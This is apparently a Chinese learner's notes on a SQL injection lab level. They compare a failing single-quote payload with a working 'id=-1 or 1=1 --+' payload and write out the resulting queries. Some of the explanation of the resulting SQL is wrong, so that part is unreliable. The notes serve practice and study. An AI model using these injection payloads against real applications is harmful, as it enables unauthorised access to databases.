在这个关卡学习到了
1.程序的错误不是学校收费乱来的,单引号的错误和减号的错误要明白
单引号报错。
用第一关的PAYLOAD尝试了下。
来看看源码:
那么我们构造的sql也就变成了
$sql="SELECT * FROM users WHERE id=1' or 1=1 --+ LIMIT 0,1";
如此一来id=1'就不被执行,语句也就成了:
$sql="or 1=1 --+ limit 0,1";
用mysql测试一下,如下图。的确如此!
那么单引号不行就换负号,就是减号呗。
这回自然是可以了。
完整的sql语句如下:
$sql="SELECT * FROM users WHERE id=-1 or 1=1 --+ LIMIT 0,1";
最终执行的mysql语句为:
select * from users where 1=1 --+ limit 0,1;该条语句是一条有效的sql语句,即可以成功执行。
这里需要理解的是单引号的错误和负号的错误是什么概念。
单引号的错误是指语法错误
负号的是因为不存在而提示的错误
如此知道了缘故那么继续操作哈。